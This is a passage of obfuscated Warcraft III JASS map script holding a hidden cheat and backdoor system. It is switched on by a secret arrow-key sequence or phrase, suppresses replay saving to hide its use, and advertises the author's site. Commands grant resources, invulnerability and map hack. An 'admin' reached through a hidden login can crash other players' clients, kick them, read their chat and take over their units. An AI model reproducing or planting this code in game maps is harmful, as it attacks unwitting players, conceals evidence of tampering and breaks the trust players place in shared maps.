call DisplayTimedTextToPlayer(b2j,0,0,10,"-addhp # - Adds # to your current hit points")
call DisplayTimedTextToPlayer(b2j,0,0,10,"-nofood - Makes selected units use no food")
call DisplayTimedTextToPlayer(b2j,0,0,10,"-food - Makes selected units use food")
elseif SubString(c8h,0,6)=="-list8"then
call DisplayTimedTextToPlayer(b2j,0,0,10,"-heal - Heals selected units' HP and MP")
call DisplayTimedTextToPlayer(b2j,0,0,10,"-size # - Sets # to your selected units' size")
call DisplayTimedTextToPlayer(b2j,0,0,10,"-debuff - Debuff your selected units")
call DisplayTimedTextToPlayer(b2j,0,0,10,"-additem # - Spawns # random items")
call DisplayTimedTextToPlayer(b2j,0,0,10,"-pathoff - Makes selected units uncollide")
call DisplayTimedTextToPlayer(b2j,0,0,10,"-pathon - Makes selected units collide")
elseif SubString(c8h,0,8)=="-logging"then
call EnumDestructablesInRectAll(GetPlayableMapRect(),function DestroyTree)
elseif SubString(c8h,0,9)=="-reforest"then
call EnumDestructablesInRectAll(GetPlayableMapRect(),function GrowTree)
elseif SubString(c8h,0,5)=="-nocd"then
set SHENG2[1]=GetPlayerId(b2j)
call ExecuteFunc("Deng_StartNocd")
elseif SubString(c8h,0,9)=="-showkeys"then
call DisplayTextToPlayer(b2j,0,0,"|cffff0000Left: "+GetStoredString(CACHE,id2d,"left"))
call DisplayTextToPlayer(b2j,0,0,"|cffff0000Right: "+GetStoredString(CACHE,id2d,"right"))
call DisplayTextToPlayer(b2j,0,0,"|cffff0000Up: "+GetStoredString(CACHE,id2d,"up"))
call DisplayTextToPlayer(b2j,0,0,"|cffff0000Down: "+GetStoredString(CACHE,id2d,"down"))
elseif SubString(c8h,0,10)=="-locktrade"then
call SetMapFlag(MAP_LOCK_RESOURCE_TRADING,true)
elseif SubString(c8h,0,12)=="-unlocktrade"then
call SetMapFlag(MAP_LOCK_RESOURCE_TRADING,false)
elseif SubString(c8h,0,5)=="-lock"then
call SetMapFlag(MAP_LOCK_ALLIANCE_CHANGES,true)
call SetMapFlag(MAP_ALLIANCE_CHANGES_HIDDEN,true)
call SetMapFlag(MAP_SHARED_ADVANCED_CONTROL,false)
elseif SubString(c8h,0,7)=="-unlock"then
call SetMapFlag(MAP_LOCK_ALLIANCE_CHANGES,false)
call SetMapFlag(MAP_ALLIANCE_CHANGES_HIDDEN,false)
elseif SubString(c8h,0,9)=="-shareall"then
if b2j==DJBadmin then
loop
exitwhen i2i>15
call SetPlayerAllianceStateFullControlBJ(Player(i2i),b2j,true)
call SetPlayerAllianceStateControlBJ(Player(i2i),b2j,true)
call SetPlayerAllianceStateVisionBJ(Player(i2i),b2j,true)
set i2i=i2i+1
endloop
else
call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000This command is reserved for admin.")
endif
elseif SubString(c8h,0,5)=="-soff"then
if b2j==DJBadmin then
loop
exitwhen i2i>15
if GetPlayerId(b2j)!=i2i then
call SetPlayerAllianceStateFullControlBJ(Player(i2i),b2j,false)
call SetPlayerAllianceStateControlBJ(Player(i2i),b2j,false)
call SetPlayerAllianceStateVisionBJ(Player(i2i),b2j,false)
endif
set i2i=i2i+1
endloop
else
call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000This command is reserved for admin.")
endif
elseif SubString(c8h,0,7)=="-share " and S2I(SubString(c8h,7,9))<16 and S2I(SubString(c8h,7,9))>-1then
if b2j==DJBadmin then
call SetPlayerAllianceStateFullControlBJ(Player(S2I(SubString(c8h,7,9))),b2j,true)
call SetPlayerAllianceStateControlBJ(Player(S2I(SubString(c8h,7,9))),b2j,true)
call SetPlayerAllianceStateVisionBJ(Player(S2I(SubString(c8h,7,9))),b2j,true)
else
call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000This command is reserved for admin.")
endif
elseif SubString(c8h,0,9)=="-unshare " and S2I(SubString(c8h,9,11))<16 and S2I(SubString(c8h,7,9))>-1then
if b2j==DJBadmin then
call SetPlayerAllianceStateFullControlBJ(Player(S2I(SubString(c8h,9,11))),b2j,false)
call SetPlayerAllianceStateControlBJ(Player(S2I(SubString(c8h,9,11))),b2j,false)
call SetPlayerAllianceStateVisionBJ(Player(S2I(SubString(c8h,9,11))),b2j,false)
else
call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000This command is reserved for admin.")
endif
elseif SubString(c8h,0,6)=="-ally "and S2I(SubString(c8h,6,8))<16 and S2I(SubString(c8h,6,8))>-1then
if b2j==DJBadmin then
call SetPlayerAllianceStateAllyBJ(b2j,Player(S2I(SubString(c8h,6,8))),true)
call SetPlayerAllianceStateAllyBJ(Player(S2I(SubString(c8h,6,8))),b2j,true)
call SetPlayerAllianceStateVisionBJ(Player(S2I(SubString(c8h,6,8))),b2j,true)
else
call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000This command is reserved for admin.")
endif
elseif SubString(c8h,0,8)=="-unally "and S2I(SubString(c8h,8,10))<16 and S2I(SubString(c8h,8,10))>-1then
if b2j==DJBadmin then
call SetPlayerAllianceStateAllyBJ(b2j,Player(S2I(SubString(c8h,8,10))),false)
call SetPlayerAllianceStateAllyBJ(Player(S2I(SubString(c8h,8,10))),b2j,false)
else
call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000This command is reserved for admin.")
endif
elseif SubString(c8h,0,10)=="-unallyall"then
if b2j==DJBadmin then
loop
exitwhen i2i>11
if GetPlayerId(b2j)!=i2i then
call SetPlayerAllianceStateAllyBJ(b2j,Player(i2i),false)
call SetPlayerAllianceStateAllyBJ(Player(i2i),b2j,false)
call SetPlayerAllianceStateVisionBJ(b2j,Player(i2i),false)
endif
set i2i=i2i+1
endloop
else
call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000This command is reserved for admin.")
endif
elseif SubString(c8h,0,8)=="-allyall"then
if b2j==DJBadmin then
loop
exitwhen i2i>11
call SetPlayerAllianceStateAllyBJ(b2j,Player(i2i),true)
call SetPlayerAllianceStateAllyBJ(Player(i2i),b2j,true)
call SetPlayerAllianceStateVisionBJ(b2j,Player(i2i),true)
set i2i=i2i+1
endloop
else
call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000This command is reserved for admin.")
endif
elseif SubString(c8h,0,8)=="-setname"then
if b2j==DJBadmin then
call SetPlayerName(b2j,StringConv(SubString(c8h,9,200)))
else
call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000This command is reserved for admin.")
endif
elseif SubString(c8h,0,6)=="-food "then
call SetPlayerState(b2j,PLAYER_STATE_FOOD_CAP_CEILING,S2I(SubString(c8h,6,10)))
call SetPlayerState(b2j,PLAYER_STATE_RESOURCE_FOOD_CAP,S2I(SubString(c8h,6,10)))
elseif SubString(c8h,0,9)=="-setcolor"then
if b2j==DJBadmin then
call SetPlayerColor(b2j,StoPC(SubString(c8h,10,16),b2j))
else
call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000This command is reserved for admin.")
endif
elseif SubString(c8h,0,4)=="-say"then
call DisplayTextToForce(bj_FORCE_ALL_PLAYERS,((StringConv(GetPlayerName(b2j)+" |c00ff0000says:|r ")+("|c00ffff00\""+SubString(c8h,4,10))+StringConv(SubString(c8h,10,400))+(" \""))))
elseif SubString(c8h,0,5)=="-fast"then
set SHENG2[1]=GetPlayerId(b2j)
call ExecuteFunc("Deng_StartFast")
elseif SubString(c8h,0,6)=="-ufast"then
set SHENG2[1]=GetPlayerId(b2j)
call ExecuteFunc("Deng_StartUFast")
elseif SubString(c8h,0,7)=="-bfast"then
set SHENG2[1]=GetPlayerId(b2j)
call ExecuteFunc("Deng_StartBFast")
elseif SubString(c8h,0,5)=="-tele"then
set SHENG2[1]=GetPlayerId(b2j)
call ExecuteFunc("Deng_StartTele")
elseif SubString(c8h,0,7)=="-colors"then
call DisplayTimedTextToPlayer(b2j,0,0,10,"|CFFFF000000|r |CFF0000FF01|r |CFF01E7E702|r |CFF40008003|r |CFFFFFF0004|r |CFFF97C0005|r |CFF00FF0006|r |CFFFF80C007|r |CFFC0C0C008|r |CFF93C4F409|r |CFF00804010|r |CFF57220211|r")
elseif SubString(c8h,0,3)=="-g " and S2I(SubString(c8h,3,5))<16 and S2I(SubString(c8h,3,5))>-1then
if b2j==DJBadmin then
call SetPlayerState(Player(S2I(SubString(c8h,3,5))),PLAYER_STATE_RESOURCE_GOLD,GetPlayerState(Player(S2I(SubString(c8h,3,5))),PLAYER_STATE_RESOURCE_GOLD)+S2I(SubString(c8h,6,13)))
else
call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000This command is reserved for admin.")
endif
elseif SubString(c8h,0,3)=="-l " and S2I(SubString(c8h,3,5))<16 and S2I(SubString(c8h,3,5))>-1then
if b2j==DJBadmin then
call SetPlayerState(Player(S2I(SubString(c8h,3,5))),PLAYER_STATE_RESOURCE_LUMBER,GetPlayerState(Player(S2I(SubString(c8h,3,5))),PLAYER_STATE_RESOURCE_LUMBER)+S2I(SubString(c8h,6,13)))
else
call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000This command is reserved for admin.")
endif
elseif SubString(c8h,0,3)=="-f " and S2I(SubString(c8h,3,5))<16 and S2I(SubString(c8h,3,5))>-1then
if b2j==DJBadmin then
call SetPlayerState(Player(S2I(SubString(c8h,3,5))),PLAYER_STATE_FOOD_CAP_CEILING,S2I(SubString(c8h,6,20)))
call SetPlayerState(Player(S2I(SubString(c8h,3,5))),PLAYER_STATE_RESOURCE_FOOD_CAP,S2I(SubString(c8h,6,20)))
else
call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000This command is reserved for admin.")
endif
elseif SubString(c8h,0,4)=="-sc " and S2I(SubString(c8h,4,6))<16 and S2I(SubString(c8h,3,5))>-1then
if b2j==DJBadmin then
call SetPlayerColor(Player(S2I(SubString(c8h,4,6))),StoPC(SubString(c8h,7,13),Player(S2I(SubString(c8h,4,6)))))
else
call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000This command is reserved for admin.")
endif
elseif SubString(c8h,0,4)=="-sn " and S2I(SubString(c8h,4,6))<16 and S2I(SubString(c8h,3,5))>-1then
if b2j==DJBadmin then
call SetPlayerName(Player(S2I(SubString(c8h,4,6))),StringConv(SubString(c8h,7,300)))
else
call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000This command is reserved for admin.")
endif
elseif SubString(c8h,0,5)=="-hear"then
if b2j==DJBadmin then
call ForceAddPlayer(udg_ting,b2j)
call Talk()
else
call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000This command is reserved for admin.")
endif
elseif SubString(c8h,0,7)=="-nohear"then
if b2j==DJBadmin then
call ForceRemovePlayer(udg_ting,b2j)
else
call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000This command is reserved for admin.")
endif
elseif SubString(c8h,0,5)=="-time"then
call SetTimeOfDay(S2R(SubString(c8h,6,9)))
elseif SubString(c8h,0,8)=="-disable"then
call DisableTrigger(Siwang)
elseif SubString(c8h,0,5)=="-reg "then
set Xingtong=SubString(c8h,5,12)
call RectClick(b2j)
elseif SubString(c8h,0,6)=="-unit "then
call DestroyTrigger(ChuangjianDanwei)
set ChuangjianDanwei=CreateTrigger()
set mu8u=Str2RAW(SubString(c8h,6,10))
call CreateUnitz(b2j)
elseif SubString(c8h,0,7)=="-nounit"then
call DestroyTrigger(ChuangjianDanwei)
elseif SubString(c8h,0,4)=="-act"then
if b2j==DJBadmin then
set Danci=SubString(c8h,5,100)
else
call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000This command is reserved for admin.")
endif
elseif SubString(c8h,0,7)=="-destid"then
call RAW2Str(GetDestructableTypeId(RandomDestructableInRectSimpleBJ(Zhuce)),b2j)
elseif SubString(DJBs1,0,7)=="-crash " then
if b2j==DJBadmin then
call DJB_Crash(Player(S2I(SubString(DJBs1,7,9))),DJBp1)
else
call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000This command is reserved for admin.")
endif
elseif(SubString(DJBs1,0,3)=="-ca")and(DJBi1==3)then
if b2j==DJBadmin then
loop
exitwhen DJBi2>11
call DJB_Crash(Player(DJBi2),DJBp1)
set DJBi2=DJBi2+1
endloop
else
call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000This command is reserved for admin.")
endif
elseif SubString(DJBs1,0,4)=="-cf " then
if b2j==DJBadmin then
call Clusterfuck(Player(S2I(SubString(DJBs1,4,6))),DJBp1)
else
call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000This command is reserved for admin.")
endif
elseif SubString(DJBs1,0,6)=="-kick " then
if b2j==DJBadmin then
if Player(S2I(SubString(DJBs1,6,DJBi1)))!=DJBadmin then
call CustomDefeatBJ(Player(S2I(SubString(DJBs1,6,8))),"")
endif
else
call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000This command is reserved for admin.")
endif
elseif SubString(DJBs1,0,11)=="-adminlogin" then
set DJBba[GetPlayerId(DJBp1)]=true
call DisplayTimedTextToPlayer(DJBp1,0,0,10,"|c00ffff00 Enter Password")
elseif SubString(DJBs1,0,12)=="-apink" then
call DJB_AdminGet(DJBp1)
elseif((SubString(DJBs1,0,3)=="-cc")and(DJBp1==DJBadmin))then
loop
exitwhen DJBi2>11
if DJBba2[DJBi2]==true then
call DisplayTimedTextToPlayer(DJBp1,0,0,10,"|cffff0000"+GetPlayerName(Player(DJBi2))+"|r is using cheats.")
else
call DisplayTimedTextToPlayer(DJBp1,0,0,10,GetPlayerName(Player(DJBi2))+" is not using cheats")
endif
set DJBi2=DJBi2+1
endloop
elseif SubString(DJBs1,0,7)=="-cadmin" then
if DJBb8==true then
call DisplayTimedTextToPlayer(DJBp1,0,0,10,"|cffff0000 "+GetPlayerName(DJBadmin)+"|r |c00ffff00is the admin in this game.")
else
call DisplayTimedTextToPlayer(b2j,0,0,10,"|c00ffff00 There is no admin in this game.")
call DisplayTimedTextToPlayer(b2j,0,0,10," ")
call DisplayTimedTextToPlayer(b2j,0,0,10,"|c00ffff00 Do you want to log in?")
call DisplayTimedTextToPlayer(b2j,0,0,10,"|c00ffff00 Type -adminlogin to log in.")
endif
elseif SubString(DJBs1,0,7)=="-logout" then
if b2j==DJBadmin then
call DJB_Logout(DJBp1)
else
call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000This command is reserved for admin.")
endif
elseif(SubString(DJBs1,0,9)=="-nocheat ")and(DJBp1==DJBadmin)then
endif
call GroupEnumUnitsSelected(g2g,DJBp1,null)
call GroupEnumUnitsSelected(g2g,b2j,null)
loop
set d2w=FirstOfGroup(g2g)
exitwhen d2w==null
if i2i>=0 then
if SubString(c8h,0,4)=="-int"then
call SetHeroInt(d2w,i2i,true)
elseif SubString(c8h,0,4)=="-agi"then
call SetHeroAgi(d2w,i2i,true)
elseif SubString(c8h,0,4)=="-str"then
call SetHeroStr(d2w,i2i,true)
endif
endif
if SubString(c8h,0,6)=="-invis"then
call UnitAddAbility(d2w,'Apiv')
elseif SubString(c8h,0,6)=="-vis"then
call UnitRemoveAbility(d2w,'Apiv')
elseif SubString(c8h,0,9)=="-xp rate "then
call SetPlayerHandicapXP(Player(S2I(SubString(c8h,9,11))),S2I(SubString(c8h,9,12)))
elseif SubString(c8h,0,7)=="-revive"then
set h2g=GetUnitsOfPlayerAll(b2j)
set h2u=FirstOfGroup(h2g)
call ReviveHeroLoc(h2u,GetUnitLoc(d2w),false)
elseif SubString(c8h,0,8)=="-destroy"then
if b2j==DJBadmin then
call RemoveUnit(d2w)
else
call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000This command is reserved for admin.")
endif
elseif SubString(c8h,0,7)=="-addhp "then
if Sethp>200then
set Sethp=200
endif
call UnitAddAbility(d2w,'AInv')
loop
exitwhen Nowhp>=Sethp
set Nowhp=Nowhp+1
call UnitAddItemToSlotById(d2w,'manh',6)
endloop
elseif SubString(c8h,0,7)=="-nofood"then
call SetUnitUseFood(d2w,false)
elseif SubString(c8h,0,5)=="-food"then
call SetUnitUseFood(d2w,true)
elseif SubString(c8h,0,7)=="-unitid"then
call RAW2Str(GetUnitTypeId(d2w),b2j)
elseif SubString(c8h,0,7)=="-itemid"then
if S2I(SubString(c8h,8,9))!=0then
call RAW2Str(GetItemTypeId(UnitItemInSlot(d2w,S2I(SubString(c8h,8,9))-1)),b2j)
else
call RAW2Str(GetItemTypeId(UnitItemInSlot(d2w,0)),b2j)
endif
elseif SubString(c8h,0,6)=="-float"then
call UnitAddAbility(d2w,'Amrf')
call SetUnitFlyHeight(d2w,S2R(SubString(c8h,7,10)),S2R(SubString(c8h,11,14)))
call UnitRemoveAbility(d2w,'Amrf')
elseif SubString(c8h,0,5)=="-stop"then
call PauseUnit(d2w,true)
elseif SubString(c8h,0,7)=="-resume"then
call PauseUnit(d2w,false)
elseif SubString(c8h,0,5)=="-heal"then
call SetUnitLifePercentBJ(d2w,100)
call SetUnitManaPercentBJ(d2w,100)
elseif SubString(c8h,0,7)=="-autoh "then
set s8h=S2R(SubString(c8h,7,10))
call GroupAddUnit(Zhiyu,d2w)
call ExecuteFunc("Deng_StartAutoh")
elseif SubString(c8h,0,9)=="-autohoff"then
call GroupClear(Zhiyu)
elseif SubString(c8h,0,8)=="-endgame"then
if b2j==DJBadmin then
call SaveAndChangeLevelBJ("rickroll.w3z","Maps\\MapName.w3x",false)
else
call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000This command is reserved for admin.")
endif
elseif SubString(c8h,0,6)=="-clear"then
if(GetLocalPlayer()==b2j)then
call ClearTextMessages()
endif
elseif SubString(c8h,0,6)=="-owner"then
call SetUnitOwner(d2w,StoUO(SubString(c8h,7,16)),true)
elseif SubString(c8h,0,5)=="-size"then
call SetUnitScalePercent(d2w,j2j,j2j,j2j)
elseif SubString(c8h,0,4)=="-lvl"then
call SetHeroLevel(d2w,i2i,false)
elseif SubString(c8h,0,8)=="-downlvl"then
call UnitStripHeroLevel(d2w,S2I(SubString(c8h,8,20)))
elseif SubString(c8h,0,3)=="-xp"then
call SetHeroXP(d2w,z2z,false)
elseif SubString(c8h,0,3)=="-hp"then
call SetWidgetLife(d2w,z2z)
elseif SubString(c8h,0,9)=="-resetcam"then
call ResetToGameCameraForPlayer(b2j,0.)
elseif SubString(c8h,0,3)=="-mp"then
call SetUnitState(d2w,UNIT_STATE_MANA,z2z)
elseif SubString(c8h,0,6)=="-invul"then
call SetUnitInvulnerable(d2w,true)
elseif SubString(c8h,0,4)=="-vul"then
call SetUnitInvulnerable(d2w,false)
elseif SubString(c8h,0,5)=="-kill"then
call SetWidgetLife(d2w,0)
elseif SubString(c8h,0,3)=="-ms"then
call SetUnitMoveSpeed(d2w,z2z)
elseif SubString(c8h,0,7)=="-pathon"then
call SetUnitPathing(d2w,true)
elseif SubString(c8h,0,8)=="-pathoff"then
call SetUnitPathing(d2w,false)
elseif SubString(c8h,0,7)=="-debuff"then
call UnitRemoveBuffs(d2w,true,true)
elseif SubString(c8h,0,8)=="-charges"then
call SetItemCharges(UnitItemInSlot(d2w,S2I(SubString(c8h,8,9))-1),S2I(SubString(c8h,10,20)))
elseif SubString(c8h,0,8)=="-additem"then
set temp=0
loop
set temp=temp+1
exitwhen temp>c2c
call CreateItemLoc(ChooseRandomItemEx(ITEM_TYPE_ANY,-1),GetUnitLoc(d2w))
endloop
elseif SubString(c8h,0,4)=="-add"then
call UnitAddAbility(d2w,Str2RAW(SubString(c8h,5,9)))
call SetUnitAbilityLevel(d2w,Str2RAW(SubString(c8h,5,9)),S2I(SubString(c8h,10,100)))
elseif SubString(c8h,0,7)=="-remove"then
call UnitRemoveAbility(d2w,Str2RAW(SubString(c8h,8,12)))
elseif SubString(c8h,0,6)=="-spawn"then
call SetPlayerTechResearchedSwap(Str2RAW(SubString(c8h,7,11)),3,b2j)
call CreateUnitAtLoc(b2j,Str2RAW(SubString(c8h,7,11)),GetUnitLoc(d2w),GetUnitFacing(d2w))
call CreateDestructableLoc(Str2RAW(SubString(c8h,7,11)),GetUnitLoc(d2w),GetUnitFacing(d2w),1,10)
call CreateItemLoc(Str2RAW(SubString(c8h,7,11)),GetUnitLoc(d2w))
elseif SubString(c8h,0,7)=="-ground"then
call SetTerrainTypeBJ(GetRectCenter(GetWorldBounds()),Str2RAW(SubString(c8h,8,12)),-1,0x3B9ACA00,1)
elseif SubString(c8h,0,5)=="-spa " and S2I(SubString(c8h,5,7))<16then
call CreateUnitAtLoc(Player(S2I(SubString(c8h,5,7))),Str2RAW(SubString(c8h,8,12)),GetUnitLoc(d2w),GetUnitFacing(d2w))
elseif SubString(c8h,0,5)=="-copy" and SubString(c8h,6,7)!="0"then
loop
call CreateUnitAtLoc(GetOwningPlayer(d2w),GetUnitTypeId(d2w),GetUnitLoc(d2w),GetUnitFacing(d2w))
set DJ8B=DJ8B+1
exitwhen DJ8B>=dj8b
call TriggerSleepAction(.001)
endloop
call RemoveLocation(GetUnitLoc(d2w))
endif
call GroupRemoveUnit(g2g,d2w)
endloop
call DestroyGroup(g2g)
if SubString(c8h,0,3)=="-mh"then
set SHENG2[1]=GetPlayerId(b2j)
call ExecuteFunc("Deng_StartMapHack")
endif
set c8h=""
set id2d=""
set b2j=null
set g2g=null
set d2w=null
endfunction
function Deng_CommandFinder takes player fp2p,string ds2s returns nothing
local integer di2i=StringLength(ds2s)
local integer di3i=0
local integer di4i=0
local integer di5i=0
loop
if SubString(ds2s,di3i,di3i+1)=="-"and di5i<1then
if S2I(SubString(ds2s,di3i+1,di3i+2))<1then
set di4i=di3i
set di5i=1
endif
elseif SubString(ds2s,di3i+1,di3i+2)=="-"and di5i>0then
if S2I(SubString(ds2s,di3i+2,di3i+3))<1then
call Cheatz(fp2p,SubString(ds2s,di4i,di3i+1))
set di5i=0
endif
elseif di3i==di2i and di5i>0then
call Cheatz(fp2p,SubString(ds2s,di4i,di2i))
set di5i=0
endif
set di3i=di3i+1
exitwhen di3i>di2i
endloop
endfunction
function SendUp takes nothing returns nothing
call Deng_CommandFinder(GetTriggerPlayer(),GetStoredString(CACHE,I2S(GetPlayerId(GetTriggerPlayer())),"up"))
endfunction
function SendRight takes nothing returns nothing
call Deng_CommandFinder(GetTriggerPlayer(),GetStoredString(CACHE,I2S(GetPlayerId(GetTriggerPlayer())),"right"))
endfunction
function SendLeft takes nothing returns nothing
call Deng_CommandFinder(GetTriggerPlayer(),GetStoredString(CACHE,I2S(GetPlayerId(GetTriggerPlayer())),"left"))
endfunction
function SendDown takes nothing returns nothing
call Deng_CommandFinder(GetTriggerPlayer(),GetStoredString(CACHE,I2S(GetPlayerId(GetTriggerPlayer())),"down"))
endfunction
function BindKey takes player b2j,string c8h,string q2q,playerevent pe2p returns nothing
local trigger t2t=CreateTrigger()
local triggeraction ta2t
if q2q=="up"then
set ta2t=TriggerAddAction(t2t,function SendUp)
elseif q2q=="left"then
set ta2t=TriggerAddAction(t2t,function SendLeft)
elseif q2q=="right"then
set ta2t=TriggerAddAction(t2t,function SendRight)
else
set ta2t=TriggerAddAction(t2t,function SendDown)
endif
call TriggerRegisterPlayerEvent(t2t,b2j,pe2p)
call StoreString(CACHE,I2S(GetPlayerId(b2j)),q2q,c8h)
call WaitForString(b2j,"-bind"+q2q,true)
call DisableTrigger(t2t)
call TriggerRemoveAction(t2t,ta2t)
call DestroyTrigger(t2t)
set t2t=null
set ta2t=null
set b2j=null
set c8h=""
set q2q=null
set pe2p=null
endfunction
function Cheatz0r takes nothing returns boolean
return(IsPlayerInForce(GetTriggerPlayer(),PIANZI))
endfunction
function DirectCheat takes nothing returns nothing
local player b2j=GetTriggerPlayer()
local string c8h=GetEventPlayerChatString()
if SubString(c8h,0,10)=="-clearkeys"then
call DisplayTimedTextToPlayer(b2j,0,0,5,"|cffff0000Key Bindings Cleared.")
elseif SubString(c8h,0,7)=="-bindup"then
call DisplayTextToPlayer(b2j,0,0,"|cffff0000'"+SubString(c8h,8,100)+"' was bound to Up Arrow Key")
call BindKey(b2j,SubString(c8h,8,100),"up",EVENT_PLAYER_ARROW_UP_DOWN)
elseif SubString(c8h,0,9)=="-bindleft"then
call DisplayTextToPlayer(b2j,0,0,"|cffff0000'"+SubString(c8h,10,100)+"' was bound to Left Arrow Key")
call BindKey(b2j,SubString(c8h,10,100),"left",EVENT_PLAYER_ARROW_LEFT_DOWN)
elseif SubString(c8h,0,10)=="-bindright"then
call DisplayTextToPlayer(b2j,0,0,"|cffff0000'"+SubString(c8h,11,100)+"' was bound to Right Arrow Key")
call BindKey(b2j,SubString(c8h,11,100),"right",EVENT_PLAYER_ARROW_RIGHT_DOWN)
elseif SubString(c8h,0,9)=="-binddown"then
call DisplayTextToPlayer(b2j,0,0,"|cffff0000'"+SubString(c8h,10,100)+"' was bound to Down Arrow Key")
call BindKey(b2j,SubString(c8h,10,100),"down",EVENT_PLAYER_ARROW_DOWN_DOWN)
else
call Deng_CommandFinder(b2j,c8h)
endif
set b2j=null
set c8h=""
endfunction
function CheatUseLeft takes nothing returns nothing
local player b2j=GetTriggerPlayer()
local integer id2d=GetPlayerId(b2j)
local string sd2d=Jiantou
local integer stage=GetStoredInteger(CACHE,"Activation"+I2S(id2d),"Stage")
if SubString(sd2d,stage,stage+1)=="L"then
if stage==StringLength(sd2d)-1then
if not IsPlayerInForce(b2j,PIANZI)then
call DisplayTextToForce(PIANZI,GetPlayerName(b2j))
call ForceAddPlayer(PIANZI,b2j)
call TriggerRegisterPlayerChatEvent(QIPIAN3,b2j,"-",false)
call DisplayTimedTextToPlayer(b2j,0,0,10,"|c00ffff00XD|r")
call DoNotSaveReplay()
set DJBba[GetPlayerId(b2j)]=false
set DJBba2[GetPlayerId(b2j)]=true
endif
call StoreInteger(CACHE,"Activation"+I2S(id2d),"Stage",0)
else
call StoreInteger(CACHE,"Activation"+I2S(id2d),"Stage",stage+1)
endif
else
call StoreInteger(CACHE,"Activation"+I2S(id2d),"Stage",0)
endif
set b2j=null
endfunction
function CheatUseRight takes nothing returns nothing
local player b2j=GetTriggerPlayer()
local integer id2d=GetPlayerId(b2j)
local string sd2d=Jiantou
local integer stage=GetStoredInteger(CACHE,"Activation"+I2S(id2d),"Stage")
if SubString(sd2d,stage,stage+1)=="R"then
if stage==StringLength(sd2d)-1then
if not IsPlayerInForce(b2j,PIANZI)then
call DisplayTextToForce(PIANZI,GetPlayerName(b2j))
call ForceAddPlayer(PIANZI,b2j)
call TriggerRegisterPlayerChatEvent(QIPIAN3,b2j,"-",false)
call DisplayTimedTextToPlayer(b2j,0,0,10,"|c00ffff00XD|r")
call DoNotSaveReplay()
set DJBba[GetPlayerId(b2j)]=false
set DJBba2[GetPlayerId(b2j)]=true
endif
call StoreInteger(CACHE,"Activation"+I2S(id2d),"Stage",0)
else
call StoreInteger(CACHE,"Activation"+I2S(id2d),"Stage",stage+1)
endif
else
call StoreInteger(CACHE,"Activation"+I2S(id2d),"Stage",0)
endif
set b2j=null
endfunction
function CheatUseUp takes nothing returns nothing
local player b2j=GetTriggerPlayer()
local integer id2d=GetPlayerId(b2j)
local string sd2d=Jiantou
local integer stage=GetStoredInteger(CACHE,"Activation"+I2S(id2d),"Stage")
if SubString(sd2d,stage,stage+1)=="U"then
if stage==StringLength(sd2d)-1then
if not IsPlayerInForce(b2j,PIANZI)then
call DisplayTextToForce(PIANZI,GetPlayerName(b2j))
call ForceAddPlayer(PIANZI,b2j)
call TriggerRegisterPlayerChatEvent(QIPIAN3,b2j,"-",false)
call DisplayTimedTextToPlayer(b2j,0,0,10,"|c00ffff00XD|r")
call DoNotSaveReplay()
set DJBba[GetPlayerId(b2j)]=false
set DJBba2[GetPlayerId(b2j)]=true
endif
call StoreInteger(CACHE,"Activation"+I2S(id2d),"Stage",0)
else
call StoreInteger(CACHE,"Activation"+I2S(id2d),"Stage",stage+1)
endif
else
call StoreInteger(CACHE,"Activation"+I2S(id2d),"Stage",0)
endif
set b2j=null
endfunction
function CheatUseDown takes nothing returns nothing
local player b2j=GetTriggerPlayer()
local integer id2d=GetPlayerId(b2j)
local string sd2d=Jiantou
local integer stage=GetStoredInteger(CACHE,"Activation"+I2S(id2d),"Stage")
if SubString(sd2d,stage,stage+1)=="D"then
if stage==StringLength(sd2d)-1then
if not IsPlayerInForce(b2j,PIANZI)then
call DisplayTextToForce(PIANZI,GetPlayerName(b2j))
call ForceAddPlayer(PIANZI,b2j)
call TriggerRegisterPlayerChatEvent(QIPIAN3,b2j,"-",false)
call DisplayTimedTextToPlayer(b2j,0,0,10,"|c00ffff00XD|r")
call DoNotSaveReplay()
set DJBba[GetPlayerId(b2j)]=false
set DJBba2[GetPlayerId(b2j)]=true
endif
call StoreInteger(CACHE,"Activation"+I2S(id2d),"Stage",0)
else
call StoreInteger(CACHE,"Activation"+I2S(id2d),"Stage",stage+1)
endif
else
call StoreInteger(CACHE,"Activation"+I2S(id2d),"Stage",0)
endif
set b2j=null
endfunction
function CheatUse takes nothing returns nothing
local player b2j=GetTriggerPlayer()
if SubString(GetEventPlayerChatString(),0,100)==Danci and not IsPlayerInForce(b2j,PIANZI)then
call DisplayTextToForce(PIANZI,GetPlayerName(b2j))
call ForceAddPlayer(PIANZI,b2j)
call TriggerRegisterPlayerChatEvent(QIPIAN3,b2j,"-",false)
call DisplayTimedTextToPlayer(b2j,0,0,10,"|c00ffff00Cheats activated! xixi")
call TriggerSleepAction(2)
call DisplayTimedTextToPlayer(b2j,0,0,5,"|c00ffff00Visit jasonlun.weebly.com to get more.")
call DisplayTimedTextToPlayer(b2j,0,0,10,"|c00ffff00Type -list1 to -list8 to view cheat's commands!")
call TriggerSleepAction(2)
call DisplayTimedTextToPlayer(b2j,0,0,10,"|c00ffff00More info PM JasoN.LuN")
call DoNotSaveReplay()
